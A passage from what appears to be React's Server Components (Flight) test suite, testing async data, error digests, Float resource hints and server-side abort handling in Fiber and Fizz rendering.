),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe('<p>async hello</p>');\n  });\n\n  it('should throw on the client if a passed promise eventually rejects', async () => {\n    const reportedErrors = [];\n    const theError = new Error('Server throw');\n\n    async function getData() {\n      throw theError;\n    }\n\n    function Component({data}) {\n      const text = use(data);\n      return <p>{text}</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    function ServerComponent() {\n      const data = getData(); // no await here\n      return <ClientComponent data={data} />;\n    }\n\n    function Await({response}) {\n      return use(response);\n    }\n\n    function App({response}) {\n      return (\n        <Suspense fallback={<h1>Loading...</h1>}>\n          <ErrorBoundary\n            fallback={e => (\n              <p>\n                {__DEV__ ? e.message + ' + ' : null}\n                {e.digest}\n              </p>\n            )}>\n            <Await response={response} />\n          </ErrorBoundary>\n        </Suspense>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n            return __DEV__ ? 'a dev digest' : `digest(\"${x.message}\")`;\n          },\n        },\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App response={response} />);\n    });\n    expect(container.innerHTML).toBe(\n      __DEV__\n        ? '<p>Server throw + a dev digest</p>'\n        : '<p>digest(\"Server throw\")</p>',\n    );\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should support float methods when rendering in Fiber', async () => {\n    function Component() {\n      return <p>hello world</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    async function ServerComponent() {\n      FlightReactDOM.prefetchDNS('d before');\n      FlightReactDOM.preconnect('c before');\n      FlightReactDOM.preconnect('c2 before', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preload('l before', {as: 'style'});\n      FlightReactDOM.preloadModule('lm before');\n      FlightReactDOM.preloadModule('lm2 before', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preinit('i before', {as: 'script'});\n      FlightReactDOM.preinitModule('m before');\n      FlightReactDOM.preinitModule('m2 before', {crossOrigin: 'anonymous'});\n      await 1;\n      FlightReactDOM.prefetchDNS('d after');\n      FlightReactDOM.preconnect('c after');\n      FlightReactDOM.preconnect('c2 after', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preload('l after', {as: 'style'});\n      FlightReactDOM.preloadModule('lm after');\n      FlightReactDOM.preloadModule('lm2 after', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preinit('i after', {as: 'script'});\n      FlightReactDOM.preinitModule('m after');\n      FlightReactDOM.preinitModule('m2 after', {crossOrigin: 'anonymous'});\n      return <ClientComponent />;\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n\n    let response = null;\n    function getResponse() {\n      if (response === null) {\n        response = ReactServerDOMClient.createFromReadableStream(readable);\n      }\n      return response;\n    }\n\n    function App() {\n      return getResponse();\n    }\n\n    // We pause to allow the float call after the await point to process before the\n    // HostDispatcher gets set for Fiber by createRoot. This is only needed in testing\n    // because the module graphs are not different and the HostDispatcher is shared.\n    // In a real environment the Fiber and Flight code would each have their own independent\n    // dispatcher.\n    // @TODO consider what happens when Server-Components-On-The-Client exist. we probably\n    // want to use the Fiber HostDispatcher there too since it is more about the host than the runtime\n    // but we need to make sure that actually makes sense\n    await 1;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"dns-prefetch\" href=\"d before\" />\n          <link rel=\"preconnect\" href=\"c before\" />\n          <link rel=\"preconnect\" href=\"c2 before\" crossorigin=\"\" />\n          <link rel=\"preload\" as=\"style\" href=\"l before\" />\n          <link rel=\"modulepreload\" href=\"lm before\" />\n          <link rel=\"modulepreload\" href=\"lm2 before\" crossorigin=\"\" />\n          <script async=\"\" src=\"i before\" />\n          <script type=\"module\" async=\"\" src=\"m before\" />\n          <script type=\"module\" async=\"\" src=\"m2 before\" crossorigin=\"\" />\n          <link rel=\"dns-prefetch\" href=\"d after\" />\n          <link rel=\"preconnect\" href=\"c after\" />\n          <link rel=\"preconnect\" href=\"c2 after\" crossorigin=\"\" />\n          <link rel=\"preload\" as=\"style\" href=\"l after\" />\n          <link rel=\"modulepreload\" href=\"lm after\" />\n          <link rel=\"modulepreload\" href=\"lm2 after\" crossorigin=\"\" />\n          <script async=\"\" src=\"i after\" />\n          <script type=\"module\" async=\"\" src=\"m after\" />\n          <script type=\"module\" async=\"\" src=\"m2 after\" crossorigin=\"\" />\n        </head>\n        <body />\n      </html>,\n    );\n    expect(getMeaningfulChildren(container)).toEqual(<p>hello world</p>);\n  });\n\n  it('should support float methods when rendering in Fizz', async () => {\n    function Component() {\n      return <p>hello world</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    async function ServerComponent() {\n      FlightReactDOM.prefetchDNS('d before');\n      FlightReactDOM.preconnect('c before');\n      FlightReactDOM.preconnect('c2 before', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preload('l before', {as: 'style'});\n      FlightReactDOM.preloadModule('lm before');\n      FlightReactDOM.preloadModule('lm2 before', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preinit('i before', {as: 'script'});\n      FlightReactDOM.preinitModule('m before');\n      FlightReactDOM.preinitModule('m2 before', {crossOrigin: 'anonymous'});\n      await 1;\n      FlightReactDOM.prefetchDNS('d after');\n      FlightReactDOM.preconnect('c after');\n      FlightReactDOM.preconnect('c2 after', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preload('l after', {as: 'style'});\n      FlightReactDOM.preloadModule('lm after');\n      FlightReactDOM.preloadModule('lm2 after', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preinit('i after', {as: 'script'});\n      FlightReactDOM.preinitModule('m after');\n      FlightReactDOM.preinitModule('m2 after', {crossOrigin: 'anonymous'});\n      return <ClientComponent />;\n    }\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    // In a real environment you would want to call the render during the Fizz render.\n    // The reason we cannot do this in our test is because we don't actually have two separate\n    // module graphs and we are contriving the sequencing to work in a way where\n    // the right HostDispatcher is in scope during the Flight Server Float calls and the\n    // Flight Client hint dispatches\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n      ),\n    );\n    pipe(flightWritable);\n\n    let response = null;\n    function getResponse() {\n      if (response === null) {\n        response =\n          ReactServerDOMClient.createFromReadableStream(flightReadable);\n      }\n      return response;\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>{getResponse()}</body>\n        </html>\n      );\n    }\n\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(<App />).pipe(fizzWritable);\n    });\n\n    await readInto(document, fizzReadable);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"dns-prefetch\" href=\"d before\" />\n          <link rel=\"preconnect\" href=\"c before\" />\n          <link rel=\"preconnect\" href=\"c2 before\" crossorigin=\"\" />\n          <link rel=\"dns-prefetch\" href=\"d after\" />\n          <link rel=\"preconnect\" href=\"c after\" />\n          <link rel=\"preconnect\" href=\"c2 after\" crossorigin=\"\" />\n          <script async=\"\" src=\"i before\" />\n          <script type=\"module\" async=\"\" src=\"m before\" />\n          <script type=\"module\" async=\"\" src=\"m2 before\" crossorigin=\"\" />\n          <script async=\"\" src=\"i after\" />\n          <script type=\"module\" async=\"\" src=\"m after\" />\n          <script type=\"module\" async=\"\" src=\"m2 after\" crossorigin=\"\" />\n          <link rel=\"preload\" as=\"style\" href=\"l before\" />\n          <link rel=\"modulepreload\" href=\"lm before\" />\n          <link rel=\"modulepreload\" href=\"lm2 before\" crossorigin=\"\" />\n          <link rel=\"preload\" as=\"style\" href=\"l after\" />\n          <link rel=\"modulepreload\" href=\"lm after\" />\n          <link rel=\"modulepreload\" href=\"lm2 after\" crossorigin=\"\" />\n        </head>\n        <body>\n          <p>hello world</p>\n        </body>\n      </html>,\n    );\n  });\n\n  it('supports Float hints from concurrent Flight -> Fizz renders', async () => {\n    function Component() {\n      return <p>hello world</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    async function ServerComponent1() {\n      FlightReactDOM.preload('before1', {as: 'style'});\n      await 1;\n      FlightReactDOM.preload('after1', {as: 'style'});\n      return <ClientComponent />;\n    }\n\n    async function ServerComponent2() {\n      FlightReactDOM.preload('before2', {as: 'style'});\n      await 1;\n      FlightReactDOM.preload('after2', {as: 'style'});\n      return <ClientComponent />;\n    }\n\n    const {writable: flightWritable1, readable: flightReadable1} =\n      getTestStream();\n    const {writable: flightWritable2, readable: flightReadable2} =\n      getTestStream();\n\n    ReactServerDOMServer.renderToPipeableStream(\n      <ServerComponent1 />,\n      webpackMap,\n    ).pipe(flightWritable1);\n\n    ReactServerDOMServer.renderToPipeableStream(\n      <ServerComponent2 />,\n      webpackMap,\n    ).pipe(flightWritable2);\n\n    const responses = new Map();\n    function getResponse(stream) {\n      let response = responses.get(stream);\n      if (!response) {\n        response = ReactServerDOMClient.createFromReadableStream(stream);\n        responses.set(stream, response);\n      }\n      return response;\n    }\n\n    function App({stream}) {\n      return (\n        <html>\n          <body>{getResponse(stream)}</body>\n        </html>\n      );\n    }\n\n    // pausing to let Flight runtime tick. This is a test only artifact of the fact that\n    // we aren't operating separate module graphs for flight and fiber. In a real app\n    // each would have their own dispatcher and there would be no cross dispatching.\n    await serverAct(() => {});\n\n    const {writable: fizzWritable1, readable: fizzReadable1} = getTestStream();\n    const {writable: fizzWritable2, readable: fizzReadable2} = getTestStream();\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        <App stream={flightReadable1} />,\n      ).pipe(fizzWritable1);\n      ReactDOMFizzServer.renderToPipeableStream(\n        <App stream={flightReadable2} />,\n      ).pipe(fizzWritable2);\n    });\n\n    async function read(stream) {\n      const decoder = new TextDecoder();\n      const reader = stream.getReader();\n      let buffer = '';\n      while (true) {\n        const {done, value} = await reader.read();\n        if (done) {\n          buffer += decoder.decode();\n          break;\n        }\n        buffer += decoder.decode(value, {stream: true});\n      }\n      return buffer;\n    }\n\n    const [content1, content2] = await Promise.all([\n      read(fizzReadable1),\n      read(fizzReadable2),\n    ]);\n\n    expect(content1).toEqual(\n      '<!DOCTYPE html><html><head><link rel=\"preload\" href=\"before1\" as=\"style\"/>' +\n        '<link rel=\"preload\" href=\"after1\" as=\"style\"/>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/>'\n          : '') +\n        '</head>' +\n        '<body><p>hello world</p>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<template id=\"_R_\"></template>'\n          : '') +\n        '</body></html>',\n    );\n    expect(content2).toEqual(\n      '<!DOCTYPE html><html><head><link rel=\"preload\" href=\"before2\" as=\"style\"/>' +\n        '<link rel=\"preload\" href=\"after2\" as=\"style\"/>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/>'\n          : '') +\n        '</head>' +\n        '<body><p>hello world</p>' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<template id=\"_R_\"></template>'\n          : '') +\n        '</body></html>',\n    );\n  });\n\n  it('supports deduping hints by Float key', async () => {\n    function Component() {\n      return <p>hello world</p>;\n    }\n\n    const ClientComponent = clientExports(Component);\n\n    async function ServerComponent() {\n      FlightReactDOM.prefetchDNS('dns');\n      FlightReactDOM.preconnect('preconnect');\n      FlightReactDOM.preload('load', {as: 'style'});\n      FlightReactDOM.preinit('init', {as: 'script'});\n      // again but vary preconnect to demonstrate crossOrigin participates in the key\n      FlightReactDOM.prefetchDNS('dns');\n      FlightReactDOM.preconnect('preconnect', {crossOrigin: 'anonymous'});\n      FlightReactDOM.preload('load', {as: 'style'});\n      FlightReactDOM.preinit('init', {as: 'script'});\n      await 1;\n      // after an async point\n      FlightReactDOM.prefetchDNS('dns');\n      FlightReactDOM.preconnect('preconnect', {crossOrigin: 'use-credentials'});\n      FlightReactDOM.preload('load', {as: 'style'});\n      FlightReactDOM.preinit('init', {as: 'script'});\n      return <ClientComponent />;\n    }\n\n    const {writable, readable} = getTestStream();\n\n    await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n      ).pipe(writable),\n    );\n\n    const hintRows = [];\n    async function collectHints(stream) {\n      const decoder = new TextDecoder();\n      const reader = stream.getReader();\n      let buffer = '';\n      while (true) {\n        const {done, value} = await reader.read();\n        if (done) {\n          buffer += decoder.decode();\n          if (buffer.includes(':H')) {\n            hintRows.push(buffer);\n          }\n          break;\n        }\n        buffer += decoder.decode(value, {stream: true});\n        let line;\n        while ((line = buffer.indexOf('\\n')) > -1) {\n          const row = buffer.slice(0, line);\n          buffer = buffer.slice(line + 1);\n          if (row.includes(':H')) {\n            hintRows.push(row);\n          }\n        }\n      }\n    }\n\n    await collectHints(readable);\n    expect(hintRows.length).toEqual(6);\n  });\n\n  it('preloads resources without needing to render them', async () => {\n    function NoScriptComponent() {\n      return (\n        <p>\n          <img src=\"image-do-not-load\" />\n          <link rel=\"stylesheet\" href=\"css-do-not-load\" />\n        </p>\n      );\n    }\n\n    function Component() {\n      return (\n        <div>\n          <img src=\"image-resource\" />\n          <img\n            src=\"image-do-not-load\"\n            srcSet=\"image-preload-src-set\"\n            sizes=\"image-sizes\"\n          />\n          <img src=\"image-do-not-load\" loading=\"lazy\" />\n          <link\n            rel=\"preload\"\n            href=\"video-resource\"\n            as=\"video\"\n            media=\"(orientation: landscape)\"\n          />\n          <link rel=\"modulepreload\" href=\"module-resource\" />\n          <picture>\n            <source\n              srcSet=\"image-not-yet-preloaded\"\n              media=\"(orientation: portrait)\"\n            />\n            <img src=\"image-do-not-load\" />\n          </picture>\n          <noscript>\n            <NoScriptComponent />\n          </noscript>\n          <link rel=\"stylesheet\" href=\"css-resource\" />\n        </div>\n      );\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<Component />, webpackMap),\n    );\n    pipe(writable);\n\n    let response = null;\n    function getResponse() {\n      if (response === null) {\n        response = ReactServerDOMClient.createFromReadableStream(readable);\n      }\n      return response;\n    }\n\n    function App() {\n      // Not rendered but use for its side-effects.\n      getResponse();\n      return (\n        <html>\n          <body>\n            <p>hello world</p>\n          </body>\n        </html>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(document);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" as=\"image\" href=\"image-resource\" />\n          <link\n            rel=\"preload\"\n            as=\"image\"\n            imagesrcset=\"image-preload-src-set\"\n            imagesizes=\"image-sizes\"\n          />\n          <link\n            rel=\"preload\"\n            as=\"video\"\n            href=\"video-resource\"\n            media=\"(orientation: landscape)\"\n          />\n          <link rel=\"modulepreload\" href=\"module-resource\" />\n          <link rel=\"preload\" as=\"style\" href=\"css-resource\" />\n        </head>\n        <body>\n          <p>hello world</p>\n        </body>\n      </html>,\n    );\n  });\n\n  it('should be able to include a client reference in printed errors', async () => {\n    const reportedErrors = [];\n\n    const ClientComponent = clientExports(function ({prop}) {\n      return 'This should never render';\n    });\n\n    const ClientReference = clientExports({});\n\n    class InvalidValue {}\n\n    const {writable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <div>\n          <ClientComponent prop={ClientReference} invalid={InvalidValue} />\n        </div>,\n        webpackMap,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n          },\n        },\n      ),\n    );\n    pipe(writable);\n\n    expect(reportedErrors.length).toBe(1);\n    if (__DEV__) {\n      expect(reportedErrors[0].message).toEqual(\n        'Functions cannot be passed directly to Client Components unless you explicitly expose it by marking it with \"use server\". ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  <... prop={client} invalid={function InvalidValue}>\\n' +\n          '                             ^^^^^^^^^^^^^^^^^^^^^^^',\n      );\n    } else {\n      expect(reportedErrors[0].message).toEqual(\n        'Functions cannot be passed directly to Client Components unless you explicitly expose it by marking it with \"use server\". ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  {prop: client, invalid: function InvalidValue}\\n' +\n          '                          ^^^^^^^^^^^^^^^^^^^^^',\n      );\n    }\n  });\n\n  it('should be able to render a client reference as return value', async () => {\n    const ClientModule = clientExports({\n      text: 'Hello World',\n    });\n\n    function ServerComponent() {\n      return ClientModule.text;\n    }\n\n    const {writable, readable} = getTestStream();\n    const {pipe} = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        <ServerComponent />,\n        webpackMap,\n      ),\n    );\n    pipe(writable);\n    const response = ReactServerDOMClient.createFromReadableStream(readable);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(response);\n    });\n    expect(container.innerHTML).toBe('Hello World');\n  });\n\n  it('can abort synchronously during render', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            <ComponentThatAborts />\n            <Sibling />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    function ComponentThatAborts() {\n      abortRef.current();\n      return <p>hello world</p>;\n    }\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can abort during render in an async tick', async () => {\n    async function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            <ComponentThatAborts />\n            <Sibling />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    async function ComponentThatAborts() {\n      await 1;\n      abortRef.current();\n      return <p>hello world</p>;\n    }\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can abort during render in a lazy initializer for a component', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            <LazyAbort />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    const LazyAbort = React.lazy(() => {\n      abortRef.current();\n      return {\n        then(cb) {\n          cb({default: 'div'});\n        },\n      };\n    });\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can abort during render in a lazy initializer for an element', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>{lazyAbort}</Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    const lazyAbort = React.lazy(() => {\n      abortRef.current();\n      return {\n        then(cb) {\n          cb({default: 'hello world'});\n        },\n      };\n    });\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('can abort during a synchronous thenable resolution', async () => {\n    function Sibling() {\n      return <p>sibling</p>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>{thenable}</Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>\n            <Sibling />\n          </Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>\n              <div>\n                <Sibling />\n              </div>\n            </Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    const thenable = {\n      then(cb) {\n        abortRef.current();\n        cb(thenable.value);\n      },\n    };\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, fizzReadable);\n    expect(getMeaningfulChildren(container)).toEqual(\n      <div>\n        <p>loading 1...</p>\n        <p>loading 2...</p>\n        <div>\n          <p>loading 3...</p>\n        </div>\n      </div>,\n    );\n  });\n\n  it('wont serialize thenables that were not already settled by the time an abort happens', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p>loading 1...</p>}>\n            <ComponentThatAborts />\n          </Suspense>\n          <Suspense fallback={<p>loading 2...</p>}>{thenable1}</Suspense>\n          <div>\n            <Suspense fallback={<p>loading 3...</p>}>{thenable2}</Suspense>\n          </div>\n        </div>\n      );\n    }\n\n    const abortRef = {current: null};\n    const thenable1 = {\n      then(cb) {\n        cb('hello world');\n      },\n    };\n\n    const thenable2 = {\n      then(cb) {\n        cb('hello world');\n      },\n      status: 'fulfilled',\n      value: 'hello world',\n    };\n\n    function ComponentThatAborts() {\n      abortRef.current();\n      return thenable1;\n    }\n\n    const {writable: flightWritable, readable: flightReadable} =\n      getTestStream();\n\n    await serverAct(() => {\n      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(\n        <App />,\n        webpackMap,\n      );\n      abortRef.current = abort;\n      pipe(flightWritable);\n    });\n\n    assertConsoleErrorDev([\n      'Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    const response =\n      ReactServerDOMClient.createFromReadableStream(flightReadable);\n\n    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();\n\n    function ClientApp() {\n      return use(response);\n    }\n\n    const shellErrors = [];\n    await serverAct(async () => {\n      ReactDOMFizzServer.renderToPipeableStream(\n        React.createElement(ClientApp),\n        {\n          onShellError(error) {\n            shellErrors.push(error.message);\n          },\n        },\n      ).pipe(fizzWritable);\n    });\n    assertConsoleErrorDev([\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n      '[Server] Error: The render was aborted by the server without a reason.' +\n        '\\n    in <stack>',\n    ]);\n\n    expect(shellErrors).toEqual([]);\n\n    const container = document.createElement('div');\n    await readInto(container, 